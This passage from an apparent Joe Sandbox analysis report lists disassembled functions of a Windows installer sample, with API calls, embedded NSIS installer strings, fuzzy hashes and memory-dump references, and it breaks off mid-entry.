Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: success ("%s"), xrefs: 00402263

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00013600,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

@rD, xrefs: 00404402
%u.%u%s%s, xrefs: 00404444

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 49e77ae85f825c85ec9bd325533554715bd64ccbe848738256e3a305efe714d4
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNEL32(006540A8), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegKey: "%s\%s", xrefs: 00402843
DeleteRegValue: "%s\%s" "%s", xrefs: 00402820

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

, xrefs: 004048DA
@rD, xrefs: 00404934

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

%02x%c, xrefs: 00406270
..., xrefs: 00406293

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719104537.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719171770.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cW5i0RdQ4L.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Section: "%s", xrefs: 00405079
Skipping section: "%s", xrefs: 004050B5

Memory Dump Source

Source File: 00000000.00000002.1719065988.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1719052423.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1719087990.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
